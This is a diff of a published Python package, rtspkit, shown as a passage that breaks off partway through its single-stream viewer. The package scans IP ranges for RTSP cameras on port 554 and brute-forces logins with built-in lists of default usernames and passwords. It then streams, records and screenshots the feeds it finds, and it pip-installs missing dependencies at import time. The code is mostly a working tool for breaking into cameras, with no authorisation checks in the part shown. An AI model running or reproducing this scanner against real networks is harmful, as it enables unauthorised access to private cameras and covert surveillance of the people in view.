rtspkit 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- rtspkit/__init__.py +35 -0
- rtspkit/__main__.py +8 -0
- rtspkit/rtspkit.py +998 -0
- rtspkit-1.0.0.dist-info/METADATA +215 -0
- rtspkit-1.0.0.dist-info/RECORD +9 -0
- rtspkit-1.0.0.dist-info/WHEEL +5 -0
- rtspkit-1.0.0.dist-info/entry_points.txt +2 -0
- rtspkit-1.0.0.dist-info/licenses/LICENSE +21 -0
- rtspkit-1.0.0.dist-info/top_level.txt +1 -0
rtspkit/__init__.py
ADDED
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
"""
|
|
2
|
+
RTSP Kit (rtspkit)
|
|
3
|
+
------------------
|
|
4
|
+
Enhanced RTSP Scanner, Stream Validator, Credential Brute-Forcer, and Multi-Camera Viewer.
|
|
5
|
+
"""
|
|
6
|
+
|
|
7
|
+
from .rtspkit import (
|
|
8
|
+
CameraResult,
|
|
9
|
+
RTSPScanner,
|
|
10
|
+
AsyncFrameReader,
|
|
11
|
+
GridRenderer,
|
|
12
|
+
SingleStreamViewer,
|
|
13
|
+
record_stream,
|
|
14
|
+
main,
|
|
15
|
+
DEFAULT_USERNAMES,
|
|
16
|
+
DEFAULT_PASSWORDS,
|
|
17
|
+
DEFAULT_RTSP_PATHS,
|
|
18
|
+
)
|
|
19
|
+
|
|
20
|
+
__version__ = "1.0.0"
|
|
21
|
+
__author__ = "Developer"
|
|
22
|
+
|
|
23
|
+
__all__ = [
|
|
24
|
+
"CameraResult",
|
|
25
|
+
"RTSPScanner",
|
|
26
|
+
"AsyncFrameReader",
|
|
27
|
+
"GridRenderer",
|
|
28
|
+
"SingleStreamViewer",
|
|
29
|
+
"record_stream",
|
|
30
|
+
"main",
|
|
31
|
+
"DEFAULT_USERNAMES",
|
|
32
|
+
"DEFAULT_PASSWORDS",
|
|
33
|
+
"DEFAULT_RTSP_PATHS",
|
|
34
|
+
"__version__",
|
|
35
|
+
]
|
rtspkit/__main__.py
ADDED
rtspkit/rtspkit.py
ADDED
|
@@ -0,0 +1,998 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
"""
|
|
3
|
+
RTSP Kit (rtspkit) - Enhanced RTSP Scanner, Validator, Multi-Camera Viewer, and Recorder
|
|
4
|
+
"""
|
|
5
|
+
|
|
6
|
+
import argparse
|
|
7
|
+
import csv
|
|
8
|
+
import ipaddress
|
|
9
|
+
import json
|
|
10
|
+
import os
|
|
11
|
+
import queue
|
|
12
|
+
import socket
|
|
13
|
+
import subprocess
|
|
14
|
+
import sys
|
|
15
|
+
import threading
|
|
16
|
+
import time
|
|
17
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
18
|
+
from contextlib import contextmanager
|
|
19
|
+
from dataclasses import asdict, dataclass
|
|
20
|
+
from typing import List, Optional, Tuple
|
|
21
|
+
|
|
22
|
+
# --- Suppress C-level FFMPEG / OpenCV log noise process-wide ---
|
|
23
|
+
os.environ["OPENCV_FFMPEG_LOGLEVEL"] = "-8"
|
|
24
|
+
os.environ["OPENCV_LOG_LEVEL"] = "OFF"
|
|
25
|
+
os.environ["FFMPEG_LOGLEVEL"] = "quiet"
|
|
26
|
+
|
|
27
|
+
# Thread-safe console printing lock
|
|
28
|
+
print_lock = threading.Lock()
|
|
29
|
+
|
|
30
|
+
def safe_print(*args, **kwargs):
|
|
31
|
+
with print_lock:
|
|
32
|
+
print(*args, **kwargs, flush=True)
|
|
33
|
+
|
|
34
|
+
# --- Auto Dependency Installer ---
|
|
35
|
+
REQUIRED_PACKAGES = {
|
|
36
|
+
"cv2": "opencv-python",
|
|
37
|
+
"numpy": "numpy",
|
|
38
|
+
"colorama": "colorama",
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
def ensure_dependencies():
|
|
42
|
+
"""Checks for required 3rd-party dependencies and auto-installs any missing packages."""
|
|
43
|
+
missing = []
|
|
44
|
+
for module_name, package_name in REQUIRED_PACKAGES.items():
|
|
45
|
+
try:
|
|
46
|
+
__import__(module_name)
|
|
47
|
+
except ImportError:
|
|
48
|
+
missing.append(package_name)
|
|
49
|
+
|
|
50
|
+
if missing:
|
|
51
|
+
safe_print(f"\n[*] Missing required package(s): {', '.join(missing)}")
|
|
52
|
+
safe_print("[*] Automatically installing missing dependencies via pip...\n")
|
|
53
|
+
try:
|
|
54
|
+
subprocess.check_call([sys.executable, "-m", "pip", "install", *missing])
|
|
55
|
+
safe_print("[✓] Dependencies successfully installed!\n")
|
|
56
|
+
except Exception as e:
|
|
57
|
+
safe_print(f"[!] Auto-installation failed: {e}")
|
|
58
|
+
safe_print(f"[!] Please manually run: {sys.executable} -m pip install {' '.join(missing)}")
|
|
59
|
+
sys.exit(1)
|
|
60
|
+
|
|
61
|
+
ensure_dependencies()
|
|
62
|
+
|
|
63
|
+
# Import 3rd-party modules after ensuring installation
|
|
64
|
+
import cv2
|
|
65
|
+
try:
|
|
66
|
+
cv2.setLogLevel(0)
|
|
67
|
+
except AttributeError:
|
|
68
|
+
pass
|
|
69
|
+
|
|
70
|
+
import numpy as np
|
|
71
|
+
import colorama
|
|
72
|
+
from colorama import Fore, Style
|
|
73
|
+
|
|
74
|
+
colorama.init(autoreset=True)
|
|
75
|
+
|
|
76
|
+
class Color:
|
|
77
|
+
"""Terminal color constants for stylized output."""
|
|
78
|
+
SUCCESS = Fore.GREEN + Style.BRIGHT
|
|
79
|
+
INFO = Fore.CYAN + Style.BRIGHT
|
|
80
|
+
WARN = Fore.YELLOW + Style.BRIGHT
|
|
81
|
+
ERROR = Fore.RED + Style.BRIGHT
|
|
82
|
+
MAGENTA = Fore.MAGENTA + Style.BRIGHT
|
|
83
|
+
BLUE = Fore.BLUE + Style.BRIGHT
|
|
84
|
+
HEADER = Fore.MAGENTA + Style.BRIGHT
|
|
85
|
+
DIM = Style.DIM
|
|
86
|
+
RESET = Style.RESET_ALL
|
|
87
|
+
|
|
88
|
+
# Common RTSP paths used by IP camera manufacturers (Hikvision, Dahua, Axis, Reolink, etc.)
|
|
89
|
+
DEFAULT_RTSP_PATHS = [
|
|
90
|
+
"",
|
|
91
|
+
"/",
|
|
92
|
+
"/h264",
|
|
93
|
+
"/live/ch0",
|
|
94
|
+
"/stream1",
|
|
95
|
+
"/onvif1",
|
|
96
|
+
"/ch0",
|
|
97
|
+
"/11",
|
|
98
|
+
"/12",
|
|
99
|
+
"/h264Preview_01_main",
|
|
100
|
+
]
|
|
101
|
+
|
|
102
|
+
DEFAULT_USERNAMES = ["admin", "user", "root", "service", "support", "operator", "guest"]
|
|
103
|
+
DEFAULT_PASSWORDS = ["admin", "12345", "123456", "pass", "password", "1234", "0000", "", "admin123", "camera", "888888", "666666"]
|
|
104
|
+
|
|
105
|
+
@dataclass
|
|
106
|
+
class CameraInfo:
|
|
107
|
+
ip: str
|
|
108
|
+
port: int
|
|
109
|
+
url: str
|
|
110
|
+
path: str
|
|
111
|
+
working: bool
|
|
112
|
+
auth_status: str # "OPEN", "LOCKED", "UNLOCKED"
|
|
113
|
+
width: int = 0
|
|
114
|
+
height: int = 0
|
|
115
|
+
fps: float = 0.0
|
|
116
|
+
error: Optional[str] = None
|
|
117
|
+
|
|
118
|
+
# Alias for backwards compatibility / public API
|
|
119
|
+
CameraResult = CameraInfo
|
|
120
|
+
|
|
121
|
+
def load_wordlist(file_path: Optional[str], default_list: List[str]) -> List[str]:
|
|
122
|
+
"""Loads wordlist from a file path if provided, otherwise returns default list."""
|
|
123
|
+
if file_path and os.path.isfile(file_path):
|
|
124
|
+
try:
|
|
125
|
+
with open(file_path, "r", encoding="utf-8", errors="ignore") as f:
|
|
126
|
+
lines = [line.strip() for line in f if line.strip() and not line.strip().startswith("#")]
|
|
127
|
+
return lines if lines else default_list
|
|
128
|
+
except Exception as e:
|
|
129
|
+
print(f"{Color.WARN}[!] Failed to read wordlist file {file_path}: {e}. Using defaults.{Color.RESET}")
|
|
130
|
+
return default_list
|
|
131
|
+
|
|
132
|
+
class AsyncStreamReader:
|
|
133
|
+
"""Non-blocking RTSP stream reader running in a dedicated thread to prevent UI stutter."""
|
|
134
|
+
def __init__(self, camera: CameraInfo, target_size: Tuple[int, int] = (320, 240)):
|
|
135
|
+
self.camera = camera
|
|
136
|
+
self.target_size = target_size
|
|
137
|
+
self.running = False
|
|
138
|
+
self.thread: Optional[threading.Thread] = None
|
|
139
|
+
self.frame_queue: queue.Queue = queue.Queue(maxsize=2)
|
|
140
|
+
self.last_frame: Optional[np.ndarray] = None
|
|
141
|
+
self.connected = False
|
|
142
|
+
|
|
143
|
+
def start(self):
|
|
144
|
+
self.running = True
|
|
145
|
+
self.thread = threading.Thread(target=self._update_loop, daemon=True)
|
|
146
|
+
self.thread.start()
|
|
147
|
+
|
|
148
|
+
def _update_loop(self):
|
|
149
|
+
cap = cv2.VideoCapture(self.camera.url, cv2.CAP_FFMPEG)
|
|
150
|
+
if not cap.isOpened():
|
|
151
|
+
self.connected = False
|
|
152
|
+
return
|
|
153
|
+
|
|
154
|
+
self.connected = True
|
|
155
|
+
while self.running:
|
|
156
|
+
ret, frame = cap.read()
|
|
157
|
+
if not ret or frame is None:
|
|
158
|
+
self.connected = False
|
|
159
|
+
time.sleep(0.1)
|
|
160
|
+
continue
|
|
161
|
+
|
|
162
|
+
self.connected = True
|
|
163
|
+
resized_frame = cv2.resize(frame, self.target_size)
|
|
164
|
+
|
|
165
|
+
if self.frame_queue.full():
|
|
166
|
+
try:
|
|
167
|
+
self.frame_queue.get_nowait()
|
|
168
|
+
except queue.Empty:
|
|
169
|
+
pass
|
|
170
|
+
self.frame_queue.put(resized_frame)
|
|
171
|
+
|
|
172
|
+
cap.release()
|
|
173
|
+
|
|
174
|
+
def get_frame(self) -> np.ndarray:
|
|
175
|
+
w, h = self.target_size
|
|
176
|
+
try:
|
|
177
|
+
self.last_frame = self.frame_queue.get_nowait()
|
|
178
|
+
except queue.Empty:
|
|
179
|
+
pass
|
|
180
|
+
|
|
181
|
+
if self.last_frame is not None and self.connected:
|
|
182
|
+
frame = self.last_frame.copy()
|
|
183
|
+
cv2.putText(frame, self.camera.ip, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)
|
|
184
|
+
return frame
|
|
185
|
+
else:
|
|
186
|
+
frame = np.zeros((h, w, 3), dtype=np.uint8)
|
|
187
|
+
cv2.putText(frame, "NO SIGNAL", (w // 4, h // 2), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 2)
|
|
188
|
+
cv2.putText(frame, self.camera.ip, (10, h - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 255), 1)
|
|
189
|
+
return frame
|
|
190
|
+
|
|
191
|
+
def stop(self):
|
|
192
|
+
self.running = False
|
|
193
|
+
if self.thread and self.thread.is_alive():
|
|
194
|
+
self.thread.join(timeout=1.0)
|
|
195
|
+
|
|
196
|
+
# Alias for API export
|
|
197
|
+
AsyncFrameReader = AsyncStreamReader
|
|
198
|
+
|
|
199
|
+
@contextmanager
|
|
200
|
+
def suppress_c_stderr():
|
|
201
|
+
"""Cross-platform suppressor for C/C++ native DLL stderr logs (FFMPEG 401 Unauthorized messages)."""
|
|
202
|
+
old_stderr_fd = None
|
|
203
|
+
null_fd = None
|
|
204
|
+
old_std_handle = None
|
|
205
|
+
kernel32 = None
|
|
206
|
+
|
|
207
|
+
try:
|
|
208
|
+
null_fd = os.open(os.devnull, os.O_WRONLY)
|
|
209
|
+
old_stderr_fd = os.dup(2)
|
|
210
|
+
os.dup2(null_fd, 2)
|
|
211
|
+
|
|
212
|
+
if sys.platform == "win32":
|
|
213
|
+
import ctypes
|
|
214
|
+
import msvcrt
|
|
215
|
+
kernel32 = ctypes.windll.kernel32
|
|
216
|
+
STD_ERROR_HANDLE = -12
|
|
217
|
+
old_std_handle = kernel32.GetStdHandle(STD_ERROR_HANDLE)
|
|
218
|
+
devnull_handle = msvcrt.get_osfhandle(null_fd)
|
|
219
|
+
kernel32.SetStdHandle(STD_ERROR_HANDLE, devnull_handle)
|
|
220
|
+
|
|
221
|
+
yield
|
|
222
|
+
except Exception:
|
|
223
|
+
yield
|
|
224
|
+
finally:
|
|
225
|
+
if sys.platform == "win32" and kernel32 and old_std_handle is not None:
|
|
226
|
+
kernel32.SetStdHandle(-12, old_std_handle)
|
|
227
|
+
|
|
228
|
+
if old_stderr_fd is not None:
|
|
229
|
+
try:
|
|
230
|
+
os.dup2(old_stderr_fd, 2)
|
|
231
|
+
os.close(old_stderr_fd)
|
|
232
|
+
except Exception:
|
|
233
|
+
pass
|
|
234
|
+
if null_fd is not None:
|
|
235
|
+
try:
|
|
236
|
+
os.close(null_fd)
|
|
237
|
+
except Exception:
|
|
238
|
+
pass
|
|
239
|
+
|
|
240
|
+
class RTSPScanner:
|
|
241
|
+
"""Parallel scanner for detecting open ports, validating RTSP streams, and brute-forcing credentials."""
|
|
242
|
+
def __init__(
|
|
243
|
+
self,
|
|
244
|
+
port: int = 554,
|
|
245
|
+
timeout: float = 3.0,
|
|
246
|
+
threads: int = 50,
|
|
247
|
+
credentials: Optional[str] = None,
|
|
248
|
+
user_list: Optional[List[str]] = None,
|
|
249
|
+
pass_list: Optional[List[str]] = None,
|
|
250
|
+
enable_brute: bool = False
|
|
251
|
+
):
|
|
252
|
+
self.port = port
|
|
253
|
+
self.timeout = timeout
|
|
254
|
+
self.threads = threads
|
|
255
|
+
self.credentials = credentials
|
|
256
|
+
self.user_list = user_list or DEFAULT_USERNAMES
|
|
257
|
+
self.pass_list = pass_list or DEFAULT_PASSWORDS
|
|
258
|
+
self.enable_brute = enable_brute
|
|
259
|
+
|
|
260
|
+
def is_port_open(self, ip: str) -> bool:
|
|
261
|
+
try:
|
|
262
|
+
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
|
|
263
|
+
sock.settimeout(self.timeout)
|
|
264
|
+
return sock.connect_ex((ip, self.port)) == 0
|
|
265
|
+
except Exception:
|
|
266
|
+
return False
|
|
267
|
+
|
|
268
|
+
def _test_single_url(self, url: str) -> Tuple[bool, int, int, float, Optional[str]]:
|
|
269
|
+
"""Helper to test connecting to an RTSP URL and reading a single frame."""
|
|
270
|
+
result = {"success": False, "width": 0, "height": 0, "fps": 0.0, "error": None}
|
|
271
|
+
|
|
272
|
+
def try_connect():
|
|
273
|
+
try:
|
|
274
|
+
with suppress_c_stderr():
|
|
275
|
+
cap = cv2.VideoCapture(url, cv2.CAP_FFMPEG)
|
|
276
|
+
if not cap.isOpened():
|
|
277
|
+
result["error"] = "Connection failed / Auth required"
|
|
278
|
+
return
|
|
279
|
+
|
|
280
|
+
start_time = time.time()
|
|
281
|
+
while time.time() - start_time < self.timeout:
|
|
282
|
+
ret, frame = cap.read()
|
|
283
|
+
if ret and frame is not None:
|
|
284
|
+
result["success"] = True
|
|
285
|
+
result["width"] = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
|
|
286
|
+
result["height"] = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
|
|
287
|
+
result["fps"] = float(cap.get(cv2.CAP_PROP_FPS))
|
|
288
|
+
break
|
|
289
|
+
cap.release()
|
|
290
|
+
except Exception as e:
|
|
291
|
+
result["error"] = str(e)
|
|
292
|
+
|
|
293
|
+
thread = threading.Thread(target=try_connect, daemon=True)
|
|
294
|
+
thread.start()
|
|
295
|
+
thread.join(self.timeout + 1.0)
|
|
296
|
+
|
|
297
|
+
return result["success"], result["width"], result["height"], result["fps"], result["error"]
|
|
298
|
+
|
|
299
|
+
def probe_rtsp_stream(self, ip: str, paths: List[str]) -> CameraInfo:
|
|
300
|
+
"""Test RTSP URL paths: checks OPEN unauthenticated first, then attempts auth/brute force."""
|
|
301
|
+
for path in paths:
|
|
302
|
+
clean_path = path if path.startswith("/") or not path else f"/{path}"
|
|
303
|
+
url_open = f"rtsp://{ip}:{self.port}{clean_path}"
|
|
304
|
+
|
|
305
|
+
success, w, h, fps, err = self._test_single_url(url_open)
|
|
306
|
+
if success and w > 0 and h > 0:
|
|
307
|
+
return CameraInfo(
|
|
308
|
+
ip=ip,
|
|
309
|
+
port=self.port,
|
|
310
|
+
url=url_open,
|
|
311
|
+
path=clean_path,
|
|
312
|
+
working=True,
|
|
313
|
+
auth_status="OPEN",
|
|
314
|
+
width=w,
|
|
315
|
+
height=h,
|
|
316
|
+
fps=fps
|
|
317
|
+
)
|
|
318
|
+
|
|
319
|
+
if self.credentials:
|
|
320
|
+
auth_prefix = f"{self.credentials}@"
|
|
321
|
+
for path in paths:
|
|
322
|
+
clean_path = path if path.startswith("/") or not path else f"/{path}"
|
|
323
|
+
url_auth = f"rtsp://{auth_prefix}{ip}:{self.port}{clean_path}"
|
|
324
|
+
success, w, h, fps, err = self._test_single_url(url_auth)
|
|
325
|
+
if success:
|
|
326
|
+
return CameraInfo(
|
|
327
|
+
ip=ip,
|
|
328
|
+
port=self.port,
|
|
329
|
+
url=url_auth,
|
|
330
|
+
path=clean_path,
|
|
331
|
+
working=True,
|
|
332
|
+
auth_status=f"UNLOCKED ({self.credentials})",
|
|
333
|
+
width=w,
|
|
334
|
+
height=h,
|
|
335
|
+
fps=fps
|
|
336
|
+
)
|
|
337
|
+
|
|
338
|
+
if self.enable_brute:
|
|
339
|
+
print(f"{Color.INFO}[*] Running credential brute-force on {ip}...{Color.RESET}")
|
|
340
|
+
for u in self.user_list:
|
|
341
|
+
for p in self.pass_list:
|
|
342
|
+
cred_pair = f"{u}:{p}"
|
|
343
|
+
auth_prefix = f"{cred_pair}@"
|
|
344
|
+
for path in paths[:2]:
|
|
345
|
+
clean_path = path if path.startswith("/") or not path else f"/{path}"
|
|
346
|
+
url_brute = f"rtsp://{auth_prefix}{ip}:{self.port}{clean_path}"
|
|
347
|
+
success, w, h, fps, err = self._test_single_url(url_brute)
|
|
348
|
+
if success:
|
|
349
|
+
return CameraInfo(
|
|
350
|
+
ip=ip,
|
|
351
|
+
port=self.port,
|
|
352
|
+
url=url_brute,
|
|
353
|
+
path=clean_path,
|
|
354
|
+
working=True,
|
|
355
|
+
auth_status=f"UNLOCKED ({cred_pair})",
|
|
356
|
+
width=w,
|
|
357
|
+
height=h,
|
|
358
|
+
fps=fps
|
|
359
|
+
)
|
|
360
|
+
|
|
361
|
+
return CameraInfo(
|
|
362
|
+
ip=ip,
|
|
363
|
+
port=self.port,
|
|
364
|
+
url=f"rtsp://{ip}:{self.port}/",
|
|
365
|
+
path="/",
|
|
366
|
+
working=False,
|
|
367
|
+
auth_status="LOCKED",
|
|
368
|
+
error="Port 554 open but camera stream requires authentication (LOCKED)"
|
|
369
|
+
)
|
|
370
|
+
|
|
371
|
+
def scan_host(self, ip: str, paths: List[str]) -> Tuple[str, bool, Optional[CameraInfo]]:
|
|
372
|
+
if not self.is_port_open(ip):
|
|
373
|
+
return ip, False, None
|
|
374
|
+
|
|
375
|
+
safe_print(f"{Color.INFO}[+] Port {self.port} OPEN on {ip} - testing RTSP stream...{Color.RESET}")
|
|
376
|
+
cam_info = self.probe_rtsp_stream(ip, paths)
|
|
377
|
+
|
|
378
|
+
if cam_info.auth_status == "OPEN":
|
|
379
|
+
res_str = f" ({cam_info.width}x{cam_info.height})" if cam_info.width else ""
|
|
380
|
+
safe_print(f"{Color.SUCCESS}[OPEN] {ip}{res_str} -> {cam_info.url}{Color.RESET}")
|
|
381
|
+
elif cam_info.auth_status.startswith("UNLOCKED"):
|
|
382
|
+
res_str = f" ({cam_info.width}x{cam_info.height})" if cam_info.width else ""
|
|
383
|
+
safe_print(f"{Color.INFO}[{cam_info.auth_status}] {ip}{res_str} -> {cam_info.url}{Color.RESET}")
|
|
384
|
+
else:
|
|
385
|
+
safe_print(f"{Color.WARN}[LOCKED] {ip} - Port 554 open (Authentication required){Color.RESET}")
|
|
386
|
+
|
|
387
|
+
return ip, True, cam_info
|
|
388
|
+
|
|
389
|
+
def parse_targets(self, target_input: str) -> List[str]:
|
|
390
|
+
"""Parses CIDR subnets, IP ranges, comma-separated IPs, or file paths."""
|
|
391
|
+
targets = []
|
|
392
|
+
target_input = target_input.strip()
|
|
393
|
+
|
|
394
|
+
if os.path.isfile(target_input):
|
|
395
|
+
with open(target_input, "r") as f:
|
|
396
|
+
for line in f:
|
|
397
|
+
line = line.strip()
|
|
398
|
+
if line and not line.startswith("#"):
|
|
399
|
+
targets.extend(self.parse_targets(line))
|
|
400
|
+
return targets
|
|
401
|
+
|
|
402
|
+
if "," in target_input:
|
|
403
|
+
for part in target_input.split(","):
|
|
404
|
+
targets.extend(self.parse_targets(part))
|
|
405
|
+
return targets
|
|
406
|
+
|
|
407
|
+
if "-" in target_input and "/" not in target_input:
|
|
408
|
+
try:
|
|
409
|
+
start_ip_str, end_ip_str = target_input.split("-")
|
|
410
|
+
start_ip = ipaddress.ip_address(start_ip_str.strip())
|
|
411
|
+
if "." not in end_ip_str:
|
|
412
|
+
prefix = ".".join(start_ip_str.split(".")[:3])
|
|
413
|
+
end_ip_str = f"{prefix}.{end_ip_str.strip()}"
|
|
414
|
+
end_ip = ipaddress.ip_address(end_ip_str.strip())
|
|
415
|
+
|
|
416
|
+
curr = int(start_ip)
|
|
417
|
+
end = int(end_ip)
|
|
418
|
+
while curr <= end:
|
|
419
|
+
targets.append(str(ipaddress.ip_address(curr)))
|
|
420
|
+
curr += 1
|
|
421
|
+
return targets
|
|
422
|
+
except ValueError:
|
|
423
|
+
pass
|
|
424
|
+
|
|
425
|
+
try:
|
|
426
|
+
net = ipaddress.ip_network(target_input, strict=False)
|
|
427
|
+
if net.num_addresses == 1:
|
|
428
|
+
targets.append(str(net.network_address))
|
|
429
|
+
else:
|
|
430
|
+
targets.extend([str(ip) for ip in net.hosts()])
|
|
431
|
+
except ValueError:
|
|
432
|
+
print(f"{Color.WARN}[!] Warning: Unable to parse target '{target_input}'{Color.RESET}")
|
|
433
|
+
|
|
434
|
+
return targets
|
|
435
|
+
|
|
436
|
+
def run_scan(self, target_input: str, paths: Optional[List[str]] = None) -> List[CameraInfo]:
|
|
437
|
+
if paths is None:
|
|
438
|
+
paths = DEFAULT_RTSP_PATHS
|
|
439
|
+
ip_list = self.parse_targets(target_input)
|
|
440
|
+
if not ip_list:
|
|
441
|
+
print(f"{Color.ERROR}[!] No valid target IP addresses to scan.{Color.RESET}")
|
|
442
|
+
return []
|
|
443
|
+
|
|
444
|
+
print(f"\n{Color.INFO}[*] Starting RTSP scan on {Color.SUCCESS}{len(ip_list)}{Color.INFO} target host(s) (Port {self.port}, Threads {self.threads})...{Color.RESET}\n")
|
|
445
|
+
|
|
446
|
+
all_discovered = []
|
|
447
|
+
with ThreadPoolExecutor(max_workers=self.threads) as executor:
|
|
448
|
+
futures = {executor.submit(self.scan_host, ip, paths): ip for ip in ip_list}
|
|
449
|
+
for future in as_completed(futures):
|
|
450
|
+
try:
|
|
451
|
+
_, port_open, cam_info = future.result()
|
|
452
|
+
if port_open and cam_info:
|
|
453
|
+
all_discovered.append(cam_info)
|
|
454
|
+
except Exception:
|
|
455
|
+
pass
|
|
456
|
+
|
|
457
|
+
return all_discovered
|
|
458
|
+
|
|
459
|
+
|
|
460
|
+
class GridRenderer:
|
|
461
|
+
"""Multi-camera Picture-in-Picture grid display with auto-padding and background thread streaming."""
|
|
462
|
+
def __init__(self, cameras: List[CameraInfo], cols: int = 3, frame_size: Tuple[int, int] = (320, 240)):
|
|
463
|
+
self.cameras = cameras
|
|
464
|
+
self.cols = max(1, cols)
|
|
465
|
+
self.frame_size = frame_size
|
|
466
|
+
|
|
467
|
+
def start_preview(self, duration_sec: Optional[int] = None):
|
|
468
|
+
if not self.cameras:
|
|
469
|
+
print(f"{Color.WARN}[!] No working cameras available to render.{Color.RESET}")
|
|
470
|
+
return
|
|
471
|
+
|
|
472
|
+
print(f"\n{Color.INFO}[▶] Starting async PiP grid view for {Color.SUCCESS}{len(self.cameras)}{Color.INFO} camera(s)...{Color.RESET}")
|
|
473
|
+
print(f"{Color.DIM}[i] Press 'q' or 'ESC' to exit preview | Press 's' to save grid screenshot.{Color.RESET}\n")
|
|
474
|
+
|
|
475
|
+
readers = [AsyncStreamReader(cam, target_size=self.frame_size) for cam in self.cameras]
|
|
476
|
+
for reader in readers:
|
|
477
|
+
reader.start()
|
|
478
|
+
|
|
479
|
+
start_time = time.time()
|
|
480
|
+
cell_w, cell_h = self.frame_size
|
|
481
|
+
|
|
482
|
+
try:
|
|
483
|
+
while True:
|
|
484
|
+
if duration_sec and (time.time() - start_time > duration_sec):
|
|
485
|
+
break
|
|
486
|
+
|
|
487
|
+
frames = [reader.get_frame() for reader in readers]
|
|
488
|
+
|
|
489
|
+
remainder = len(frames) % self.cols
|
|
490
|
+
if remainder != 0:
|
|
491
|
+
pad_count = self.cols - remainder
|
|
492
|
+
for _ in range(pad_count):
|
|
493
|
+
empty_cell = np.zeros((cell_h, cell_w, 3), dtype=np.uint8)
|
|
494
|
+
cv2.putText(empty_cell, "EMPTY", (cell_w // 3, cell_h // 2),
|
|
495
|
+
cv2.FONT_HERSHEY_SIMPLEX, 0.5, (100, 100, 100), 1)
|
|
496
|
+
frames.append(empty_cell)
|
|
497
|
+
|
|
498
|
+
rows = []
|
|
499
|
+
for i in range(0, len(frames), self.cols):
|
|
500
|
+
row = np.hstack(frames[i:i + self.cols])
|
|
501
|
+
rows.append(row)
|
|
502
|
+
grid_image = np.vstack(rows)
|
|
503
|
+
|
|
504
|
+
window_name = "RTSP Kit - PiP Multi-Camera Grid"
|
|
505
|
+
cv2.imshow(window_name, grid_image)
|
|
506
|
+
|
|
507
|
+
key = cv2.waitKey(30) & 0xFF
|
|
508
|
+
if key in (ord('q'), ord('Q'), 27):
|
|
509
|
+
break
|
|
510
|
+
if cv2.getWindowProperty(window_name, cv2.WND_PROP_VISIBLE) < 1:
|
|
511
|
+
break
|
|
512
|
+
|
|
513
|
+
if key == ord('s') or key == ord('S'):
|
|
514
|
+
filename = f"rtsp_grid_{int(time.time())}.png"
|
|
515
|
+
cv2.imwrite(filename, grid_image)
|
|
516
|
+
print(f"{Color.SUCCESS}[✓] Saved grid screenshot to {filename}{Color.RESET}")
|
|
517
|
+
|
|
518
|
+
finally:
|
|
519
|
+
print(f"{Color.INFO}[*] Closing stream readers...{Color.RESET}")
|
|
520
|
+
for reader in readers:
|
|
521
|
+
reader.stop()
|
|
522
|
+
cv2.destroyAllWindows()
|
|
523
|
+
print(f"{Color.SUCCESS}[✓] Grid preview finished.{Color.RESET}")
|
|
524
|
+
|
|
525
|
+
|
|
526
|
+
class SingleStreamViewer:
|
|
527
|
+
"""Interactive single-camera viewer with next/previous camera switching."""
|
|
528
|
+
def __init__(self, cameras: List[CameraInfo]):
|
|
529
|
+
self.cameras = cameras
|
|
530
|
+
|
|
531
|
+
def start_viewing(self, initial_index: int = 0):
|
|
532
|
+
if not self.cameras:
|
|
533
|
+
print(f"{Color.WARN}[!] No cameras available for single view.{Color.RESET}")
|
|
534
|
+
return
|
|
535
|
+
|
|
536
|
+
current_idx = initial_index % len(self.cameras)
|
|
537
|
+
|
|
538
|
+
while True:
|
|
539
|
+
cam = self.cameras[current_idx]
|
|
540
|
+
print(f"\n{Color.INFO}[▶] Streaming [{current_idx + 1}/{len(self.cameras)}]: {Color.SUCCESS}{cam.url}{Color.RESET}")
|
|
541
|
+
print(f"{Color.DIM}[i] Controls: 'n'=Next camera | 'p'=Previous camera | 's'=Screenshot | 'q'=Quit{Color.RESET}\n")
|
|
542
|
+
|
|
543
|
+
cap = cv2.VideoCapture(cam.url, cv2.CAP_FFMPEG)
|
|
544
|
+
if not cap.isOpened():
|
|
545
|
+
print(f"{Color.ERROR}[!] Failed to connect to RTSP stream: {cam.url}{Color.RESET}")
|
|
546
|
+
current_idx = (current_idx + 1) % len(self.cameras)
|
|
547
|
+
time.sleep(1)
|
|
548
|
+
continue
|
|
549
|
+
|
|
550
|
+
switch_action = None
|
|
551
|
+
recording = False
|
|
552
|
+
rec_writer = None
|
|
553
|
+
rec_filename = None
|
|
554
|
+
|
|
555
|
+
while True:
|
|
556
|
+
ret, frame = cap.read()
|
|
557
|
+
if not ret or frame is None:
|
|
558
|
+
print(f"{Color.WARN}[!] Stream interrupted.{Color.RESET}")
|
|
559
|
+
break
|
|
560
|
+
|
|
561
|
+
if recording and rec_writer:
|
|
562
|
+
rec_writer.write(frame)
|
|
563
|
+
|
|
564
|
+
display_frame = cv2.resize(frame, (500, 500))
|
|
565
|
+
|
|
566
|
+
overlay_text = f"{cam.ip} ({cam.width}x{cam.height})" if cam.width else cam.ip
|
|
567
|
+
if recording:
|
|
568
|
+
cv2.circle(display_frame, (30, 30), 10, (0, 0, 255), -1)
|
|
569
|
+
cv2.putText(display_frame, f"REC {overlay_text}", (50, 38), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 255), 2)
|
|
570
|
+
else:
|
|
571
|
+
cv2.putText(display_frame, overlay_text, (20, 40), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 255, 0), 2)
|
|
572
|
+
|
|
573
|
+
cv2.imshow("RTSP Kit - Single Stream Viewer", display_frame)
|
|
574
|
+
|
|
575
|
+
key = cv2.waitKey(1) & 0xFF
|
|
576
|
+
if key in (ord('q'), ord('Q'), 27):
|
|
577
|
+
switch_action = 'quit'
|
|
578
|
+
break
|
|
579
|
+
elif key == ord('n') or key == ord('N'):
|
|
580
|
+
switch_action = 'next'
|
|
581
|
+
break
|
|
582
|
+
elif key == ord('p') or key == ord('P'):
|
|
583
|
+
switch_action = 'prev'
|
|
584
|
+
break
|
